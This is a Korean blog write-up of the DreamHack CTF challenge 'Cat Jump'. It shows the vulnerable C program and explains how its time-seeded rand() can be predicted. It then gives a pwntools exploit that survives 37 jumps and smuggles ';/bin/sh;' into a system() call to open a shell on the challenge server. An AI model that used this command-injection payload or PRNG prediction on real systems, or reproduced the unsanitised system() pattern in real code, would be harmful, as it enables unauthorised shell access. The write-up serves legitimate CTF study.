본문 바로가기

Hacking/DreamHack

Cat Jump

Code 분석

/* cat_jump.c
 * gcc -Wall -no-pie -fno-stack-protector cat_jump.c -o cat_jump
*/

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

#define CAT_JUMP_GOAL 37

#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3

#define OBSTACLE_PROBABILITY 0.5
#define OBSTACLE_LEFT  0
#define OBSTACLE_RIGHT 1

void Init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
}

void PrintBanner() {
    puts("                         .-.\n" \
         "                          \\ \\\n" \
         "                           \\ \\\n" \
         "                            | |\n" \
         "                            | |\n" \
         "          /\\---/\\   _,---._ | |\n" \
         "         /^   ^  \\,'       `. ;\n" \
         "        ( O   O   )           ;\n" \
         "         `.=o=__,'            \\\n" \
         "           /         _,--.__   \\\n" \
         "          /  _ )   ,'   `-. `-. \\\n" \
         "         / ,' /  ,'        \\ \\ \\ \\\n" \
         "        / /  / ,'          (,_)(,_)\n" \
         "       (,;  (,,)      jrei\n");
}

char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";

void StartGame() {
    char cat_name[32];
    char catnip;
    char cmd[64];
    char input;
    char obstacle;
    double p;
    unsigned char jump_cnt;

    srand(time(NULL));

    catnip = 0;
    jump_cnt = 0;

    puts("let the cat reach the roof! 🐈");

    sleep(1);

    do {
        // set obstacle with a specific probability.
        obstacle = rand() % 2;

        // get input.
        do {
            printf("left jump='h', right jump='j': ");
            scanf("%c%*c", &input);
        } while (input != 'h' && input != 'l');

        // jump.
        if (catnip) {
            catnip--;
            jump_cnt++;
            puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
        } else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
                (input == 'l' && obstacle != OBSTACLE_RIGHT)) {
            jump_cnt++;
            puts("the cat jumped successfully! 🐱");
        } else {
            puts("the cat got stuck by obstacle! 😿 🪨 ");
            return;
        }

        // eat some catnip with a specific probability.
        p = (double)rand() / RAND_MAX;
        if (p < CATNIP_PROBABILITY) {
            puts("the cat found and ate some catnip! 😽");
            catnip = CATNIP_INVINCIBLE_TIMES;
        }
    } while (jump_cnt < CAT_JUMP_GOAL);

    puts("your cat has reached the roof!\n");

    printf("let people know your cat's name 😼: ");
    scanf("%31s", cat_name);

    snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
    system(cmd);

    printf("goodjob! ");
    system("cat /tmp/cat_db");
}

int main(void) {
    Init();
    PrintBanner();
    StartGame();

    return 0;
}

 

- 버퍼 비활성화

- CAT_JUMP_GOAL에 도달할때까지(37), 장애물을 만나지 않으면

- system 함수로 cmd 인자를 받아서, 파일에 입력 할 수 있으며,

- 이것을 system 함수로 cat 명령어로 호출함

 

취약점

 -  system 함수를 통해 shell 획득이 가능하다.

 

접근 방법

장애물 통과

h 일때는 랜덤 값 => 1

l 일때는 랜덤 값 => 0

이어야 장애물 모두 피할 수 있음

 

37번의 랜덤 값을 다 맞출 수 없음

 

rand 함수는 의사난수 생성 함수로, 주어진 시드 값에 따라 고정된 난수 시퀀스를 생성합니다.
이는 난수의 순서가 시드에 의해 결정되기 때문에 예측 가능하고,
시드가 유출되거나 예측 가능할 때 rand() 함수를 크랙할 수 있습니다.

=> random(), arc4random() 또는 암호화적 난수 생성기 사용!

 

=> 여기서 

srand(time(NULL)) 즉, 시간에 기반한 난수 생성

pwntool 을 이용해, 시간에 기반 난수 생성

 

shell 실행

cmd 입력 시 stacked 로 명령어 수행 

입력 수행 => abcd\";bin/sh;echo\"

 

Exploit Code

from pwn import *
from ctypes import CDLL

# r = process("./cat_jump")
r = remote("host3.dreamhack.games", 23163)

context.log_level = "debug"

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') 
libc.srand(libc.time(0x00)-2)

r.recvuntil(b"let the cat reach the roof! ")
sleep(1)

for i in range(37):
    rand = libc.rand() % 2

    if(rand == 0):
        r.sendlineafter(b"left jump='h', right jump='j': ", b'l')
        
    else:
        r.sendlineafter(b"left jump='h', right jump='j': ", b'h')
    
    libc.rand() 
    #catnip 생성 시 rand 를 한번 더 호출 함으로 맞춰주는 개념

r.sendlineafter(b":", b"asdf\";/bin/sh;echo\"")

r.interactive()

 

위에서 remote로 실행 하는 이슈 해소를 위해 time()에 -1,-2 순차적으로 기입하여 실행 해봄

(보정 값 없앴을 때 성공함)

 

'Hacking > DreamHack' 카테고리의 다른 글

web-ssrf  (1) 2024.09.04
Bypass-WAF  (0) 2024.09.04
Master Canary  (0) 2024.08.13
md5 password  (0) 2024.07.31
Textbook-HMAC  (1) 2024.05.22